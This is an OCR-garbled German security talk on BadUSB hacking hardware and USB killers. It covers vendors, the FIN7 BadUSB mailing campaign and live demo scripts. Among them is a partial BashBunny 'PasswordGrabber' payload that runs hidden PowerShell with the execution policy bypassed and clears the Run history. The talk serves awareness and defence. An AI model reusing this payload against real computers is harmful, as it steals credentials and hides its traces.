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Agenda

= Hacking Hardware = BadUSB Tools & USB-Killer
= Hardware Tools = BadUSB-Hardware
= Kategorien = Getarnte Hardware
= Angriffsszenario = Ferngesteuerte Tools
= Bezugsquellen = Multifunktionale Gerate

= Zerstorung mit USB-Killer

= Gegenmalsnahmen

Die komplette Prasentation wird im Anschluss unter www.scheible.it bereitgestellt.
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Hardware Tools

Hacking Hardware (Hacking Gadgets, Pentest Hardware/Tools, IT
Security Hardware/Tools): Gerate, mit denen Rechnersysteme oder
Kommunikationsverbindungen angegriffen werden kénnen. Dabei
handelt es sich um kompakte Gerate mit einem Mikrocontroller, die
vorab programmierte Befehle ausfuhren. Zum Teil kénnen sie tber
Funk-Chips ferngesteuert werden.

= Sie wurden fur White Hat Hacker, Penetration-Tester, Security-
Forscher und Sicherheitsbeauftragte entwickelt, um Schwachstellen
aufzuspuren und anschliefend schlieBen zu kdnnen.

= Sie werden auch immer wieder von kriminellen Angreifern eingesetzt.
= Es handelt sich dabei um sehr gezielte Angriffe
= Meist werden diese Gerate von Innentatern eingesetzt

= Hacking Hardware ist i.d.R. einfach zu bedienen
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Kategorien

Spionage Hacking Hardware
Hardware Tools
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Angriffsszenario
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Bezugsquellen

= |T Security Hardware muss nicht Uber zwielichtige Kanale oder gar
Uber das Darknet beschafft werden, sondern kann teilweise z.B. Uber
die Onlineshops von Amazon und eBay einfach bestellt werden.

= Neben grol3en Shoppingplattformen gibt es mehrere Onlineshops,

die sich auf den Vertrieb dieser Art von Hardware spezialisiert haben.

= In Deutschland werden diese Gerate auch haufig tber Online-Shops
angeboten, die im Bereich der Detektivausrustung aktiv sind.

= Finige Gerate sind in Deutschland nicht erlaubt, k&nnen jedoch sehr
einfach im Ausland bestellt werden — teilweise auch in
FU-Nachbarstaaten.

Hacking Hardware
Hardware Tools
Kategorien
Angriffsszenario

Bezugsquellen
BadUSB Tools & USB-Killer

20.04.2022 | VDI Zollern-Baar
Tobias Scheible, M.Eng.




Bezugsquellen hak5.org
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WIFI PENTESTING HOTPLUG ATTACKS IMPLANTS & REMOTE ACCESS FIELD KITS MERCH
WiFi Pineapple Mark VII USB Rubber Ducky Key Croc Elite Series T-Shirts
WiFi Pineapple Enterprise Bash Bunny Packet Squirrel Essential Series Accessories
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Quelle: hak5.org (1)
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Signin or Create an Account

Q = CART

PRICE PREFERENCE ©
HOME  PRODUCTSv  ACADEMY FAQ LEATOOLS ENTERPRISE TOOLS  MOREv Ex VAT (@ Inc. VAT

EXCLUSIVE EUROPEAN DISTRIBUTOR

K

Wifi Pineapple Signal Owl
Rubber Ducky Bash Bunny
LAN Turtle Shark Jack

“ Plunderbug Packet Squirrel

AVAILABLE NOW

VIEW ALL PRODUCTS

PRODUCT CATEGORIES

Quelle: lab401.com

More categories »

Pentesting RFID Tools RFID Badges LEA Tools
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Suchen nach Ihr Warenkorb ist leer. &
Mein Konto ~ Anmelden

IT-Security & Pentest Gadgets

HackmoD and Hak5! IT-Security Online Shop. Offizieller und gelisteter Hak5 Handler in Europa, Schweiz und Liechtenstein -
HackmoD Berlin. Bei Hackmod finden Sie IT-Security Hardware, Pentest Hardware, RFID-Security, loT-Security und Software Defined
Radios. Hak5! Sicherheit fur lnr Computernetzwerk durch Penetration Test Tools.

lle: hackmod.d . ; . - 2
unterstiitzen niitzliche Open Source Hardware. LimeSDR Partner. Strike Back - mit HackmoD und Hak5 IT-Security
Pentest Tools. Schiitzen Sie sich vor Angriffen und Eindringlingen z.B.durch RFID-Pentesting! Hochspezialisierte Penetrations Test



Bezugsquellen firewire-revolution.de

FIREWIRE I Q .info@firewire-revolution.de
We your World

Willkommen bei FIREWIRE REVOLUTION
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Uberblick

Bad USB-Gerate fahren mit einer virtuellen Tastatur schadhafte Befehle
auf einem Rechner aus. Dabei kann es sich um USB-Gerate mit
veranderter Firmware oder um spezialisierte Mikrocontroller handeln.
Durch die weite Verbreitung der USB-Schnittstelle und die Tarnung als
.harmloses” Gerat kann grol3er Schaden angerichtet werden.

= Viele BadUSB Tools sehen wie gewohnliche USB-Sticks aus
= Sie konnen als ein beliebiges USB-Gerat fungieren
= Die Microcontroller werden in gewohnliche USB-Gerate integriert

= USB-Killer zerstéren Rechner durch einen Stromschlag

Hacking Hardware

BadUSB Tools & USB-Killer
Uberblick
Realer Vorfall
BadUSB-Hardware
Getarnte Hardware
Ferngesteuerte Tools
Multifunktionale Geréate
Zerstorung mit USB-Killer
GegenmalBnahmen
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The Recorq? About  Confact  Podcast ~ Q

BY RECORDED F L

Leadership Cybercrime Nation-state Government People Technology

BRIEFS

F5 investigating reports of NGINX zero day | i 11, 2022

BlackCat i k on Florida

| April 11, 2022

WonderHero game disabled after hackers steal $320,000 in cryptocurrency
April7, 2022

Researcher finds cryptomining malware targeting AWS Lambda | april 5, 2022

Block says former A loyee accessed data from US custe
accounts | Apil 6, 2022

Ukrainian CERT details Russia-linked phishing attacks targeting government
officials | Apris, 2022

German wind turbine maker shut down after cyberattack | o4, 2022

Hacker accessed 319 crypto- and finance-related Mailchimp accounts,
‘company said | Apri4, 2022

IMAGE:THE RECORD, ALIEYPRESS
RANSOMWARE TRACKER: THE LATEST FIGURES [MARCH

Gataln o FBI: FIN7 hackers target US companies with BadUSB

January 7, 2022

devices to install ransomware
o]

The US Federal Bureau of Investigation says that FIN7, an infamous cybercrime group that is behind the
Darkside and BlackMatter ransomware operations, has sent malicious USB devices to US companies over
the past few months in the hopes of infecting their systems with malware and carrying out future attacks

“Since August 2021, the FBI has received reports of several packages containing these USB devices, sent £
to US businesses in the transportation, insurance, and defense industries,” the Bureau said in a security

alert sent yesterday to US organizations.
RANSOMWARE TRACKER: THE LATEST FIGURES [MARCH 2022)

“The packages were sent using the United States Postal Service and United Parcel Service,” the agency
added.

“There are two variations of packages—those imitating HHS [US Department of Health and Human
Services ] are often accompanied by letters referencing COVID-19 guidelines enclosed with a USB; and
those imitating Amazon arrived in a decorative gift box containing a fraudulent thank you letter,
counterfeit gift card, and a USB.”

In both cases, the packages contained LilyGO-branded USB devices.

Some BadUSB attacks lead to ransomware

But the FBI says that if recipients plugged the USB thumb drives into their computers, the devices would
Quelle: therecord.media execute a BadUSB attack, where the USB drive would register itself as a keyboard instead and send a
series of preconfigured automated keystrokes to the user’s PC.







Ru b b e r D u C ky Live-Hacking BadUSB Angriffe

Cyber Security Vortrag




Ru b b e r D u C ky Live-Hacking BadUSB Angriffe

Cyber Security Vortrag

m'- 11_RubberDucky.txt - Editor

Datei Bearbeiten Format Ansicht Hilfe

REM scheible.it - Tobias Scheible
REM Cyber Security Vortrag

DELAY 2000

STRING Hello World

Zeile 1, Spalte 34 230%  Windows (CRLF) UTF-8



Rubber Ducky

Hacking Hardware

BadUSB Tools & USB-Killer
Uberblick
Realer Vorfall
BadUSB-Hardware
Getarnte Hardware
Ferngesteuerte Tools
Multifunktionale Gerate
Zerstorung mit USB-Killer
GegenmalBnahmen

ctoolkit.com

Duck Toolkit Home Payloads ~ Encoder Decoder User Scripts Change VID&PID Help

Duck Toolkit

Quelle: ducktoolkit.com (6)

Payload Generator

Select from 30 pre built
scripts and configure
them for a custom
payload.

We have generated 491048

Create Payload

Payload Encoder

Create and encode your

own payload in to an
inject.bin

Encode Payload

Payload Decoder Standalone

Decode an existing
inject.bin file back to
Ducky text.

Decode Payload

y James Hall &

Kevin Breen

A python library to
encode and decode from
the comfort of your own
device. No cloud
reguired!

Ducktools
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" " Live-Hacking BadUSB Angriff
D I g I S pa r k CI)‘/Ik?er Saecculrri‘tg Voartrag =

"DigiKeyboardDe.h"
30; int b = 30; int ¢ = 30;

Dig board 5 o >

DigiKeyboard. sendKeyStroke (b);
DigiKeyboard. sendKeyStroke(c);111

DigiKeyboard. sendKeyStroke (d) ;
DigiKeyboard. sendKeyStroke (40) ;

12 Digispark (Default- 16.5mhz) auf COMS
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) 02_Teensy | Arduino 1.8.19 Hacking Hardware

Datei Bearbeiten Sketch Werkzeuge Hilfe

BadUSB Tools & USB-Killer
Uberblick
Realer Vorfall
BadUSB-Hardware
Getarnte Hardware
Ferngesteuerte Tools
Multifunktionale Gerate
Zerstorung mit USB-Killer
GegenmalBnahmen

For: (1=0;
ove (2,
delay (25) ;

for (i=0; i<40; i++) {
Mouse.move (-4, -1);
delay(25) ;

720 free for files:2011140
RAM]: wvariables:4384, code:6928, padding:25840 free for local wvariables:487136
RAM?2: wvariables:1312 free for malloc/new:522876
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Teensy 4.0, Keyboard + Mouse + Joystick, 600 MHz, Faster, US English auf COMS
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Datei Bearbeiten Format Ansicht Hilfe

DELAY 2000
GUI r
DELAY 1000
STRING calc
ENTER

Zeile 4, Spalte 12 290%  Windows (CRLF) UTF-8
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Datei Bearbeiten Format Ansicht Hilfe
LOCALE DE

DELAY 20680

REM Linux

ALT F2

DELAY 200

REM macQS

GUI SPACE

DELAY 200

REM Windows

GUI SPACE

DELAY 200

GUI SPACE

DELAY 200

GUI r

DELAY 200

DELETE

REPEAT 4

STRING https://scheible.it
ENTER

Quelle: github.com Zeile 1, Spalte 1 140%  Windows (CRLF) UTF-8
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USB-Ventilator

Hacking Hardware

BadUSB Tools & USB-Killer
Uberblick
Realer Vorfall
BadUSB-Hardware
Getarnte Hardware
Ferngesteuerte Tools
Multifunktionale Gerate
Zerstérung mit USB-Killer
GegenmalBnahmen
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// Ventilatc
H) i
T ; // LED

DigiKeyboardD leyStr
DigiKeyboard (2000) ;

= "

DigiKey!
DigiKeyb
DigiKeyboardDe
ong to t

DigiKeyboardD
DigiKey!
y¥b
DigiKReyb
DigiKeyboard sendKeyStr
DigiKeyboard.delay (2000) ;
Digi boardD: ndKeyStroke (K
DigiKeyboz (2000) ;

DigiKeyboardDe %UserProfil
DigiKeyboard.: v (2000) ;
ndKeyStroke (KEY ENTER) ;

2 Teensy 4.0, Keyboard + Mouse + Joystick, 500 MHz, Fastsr, US English auf COMS






InputStick
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InputSiick
Wireless usB Receiver
www.inputstick.com




InputStick

all 17:04 Bl & E&@ 17:04 3 .l & @&

EEE ® Ab EI M B settings: Keyboard layout i{ s a EEE @ Ab |;| M Hacking Hardware
BadUSB Tools & USB-Killer

..... - L KEYBOARD LAYOUT Snan- i L
mi M2 M3 [\ --_-_-_-@ = M m2 M3 [\ -_-_-.;-@ . Uberblick

Keyboard layout (primary) Realer Vorfall

German (Deutsch) [DE]
Disconnect >< BadUSB-Hardware
Keyboard layout (secondary) Getarnte Hardware
_ — E0olehlie] Ferngesteuerte Tools
Seltings s Selected layout Multifunktionale Geréate
Screen orientation: Use primary keyboard layout Zerstoru ng mit USB-Killer

® Auto O Portrait ) Landscape Change keyb. layout shortcut GegenmaBnahmen

None

Keyboard layout (primary/secondary):
® de-DE () en-US Switch (PC layout) JTHER

Typing speed (Macros, Text, Type with I..
Normal (1.0)

Help & info @
1.93
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MalDuino W

WiFi Duck Settings Terminal About

Hacking Hardware

BadUSB Tools & USB-Killer
|Status Uberblick
Realer Vorfall
BadUSB-Hardware

SPIFFS: 502 byte used (99% free)

FORMAT STOP RECONNECT Getarnte Hardv\/are
Ferngesteuerte Tools
|Sc”ptS > Multifunktionale Gerate
Zerstorung mit USB-Killer
File Byte Actions GegenmalBnahmen
Itest 14 EDIT RUN
/ CREATE
Editor (5]
/test DELETE DOWNLOAD ENABLE AUTORUN

LED 255 127 0

Output: saved

AR LR | SToR 20.04.2022 | VDI Zollern-Baar
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BashBunny

u
Datei Bearbeiten Format Ansicht Hilfe
DUCKY_LANG de

LOOTDIR=/root/udisk/loot/PasswordGrabber

LED SETUP
GET SWITCH_POSITION
ATTACKMODE HID STORAGE

mkdir -p $LOOTDIR

LED ATTACK
RUN WIN “powerShell -windowstyle hidden -ExecutionPolicy Bypass .((gwmi win32 volume -f 'label=''BashBunny
sleep 10

) .Mame+'payloa

LED FINISH
£

Zeile 1, Spalte 1 100% Windows {CRLF)

Datei Bearbeiten Format Ansicht Hilfe
$dest = ((Get-Wmiobject win32 volume -f 'label=''BashBunny
$filter = 'password '+ $env:COMPUTERNAME

) .Name+ ' loot\PasswordGrabber')

$filecount = ((Get-childItem -filter ($filter + "*") -path $dest | Measure-Object | Select -ExpandProperty Count) + 1)

Start-Process -WindowStyle Hidden -FilePath ((Get-WmiObject win32_volume -f ‘label='‘BashBunny''').Name+'tools\IEVETao "
Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' -Name '*' -ErrorAction Silently
< >

Zeile 4, Spalte 112 100%  Unix (LF) UTF-8

Quelle: github.com
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,/Amateurs hack systems, professionals hack people’

Bruce Schneier

Fragen?



In seinem Vortrag Herzrasen spricht Daniel
Engelbrecht Gber die drei Saulen der Zielerreichung.
Die Saulen, die ihm auf seinem Weg geholfen haben.
Uber den unbandigen Willen, seine Ziele zu erreichen
und dennoch die Achtsamkeit nie aus dem Auge zu
verlieren, um die Gesundheit nicht zu gefahrden.

Angreifer kdnnen vor Ort mit Hilfe von Hardware-
Tools Systeme gezielt angreifen. Jedoch gibt es
effektive MaBBnahmen, um sich davor zu schitzen.
Dazu ist es wichtig, die verbreitetsten Tools zu
kennen und zu verstehen. Im Workshop lernen Sie
die typischen Angriffe mit Hacking Hardware.

st fur Sie schon einmal eine Website oder ein Server
nicht erreichbar gewesen? Dann steckt eventuell ein
Distributed Denial of Service (DDoS)-Angriff dahinter,
der einen Server oder einen Client mit einer groBen
Anzahl von Anfragen Uberlastet, so dass legitime
Anfragen nicht mehr bearbeitet werden kénnen.
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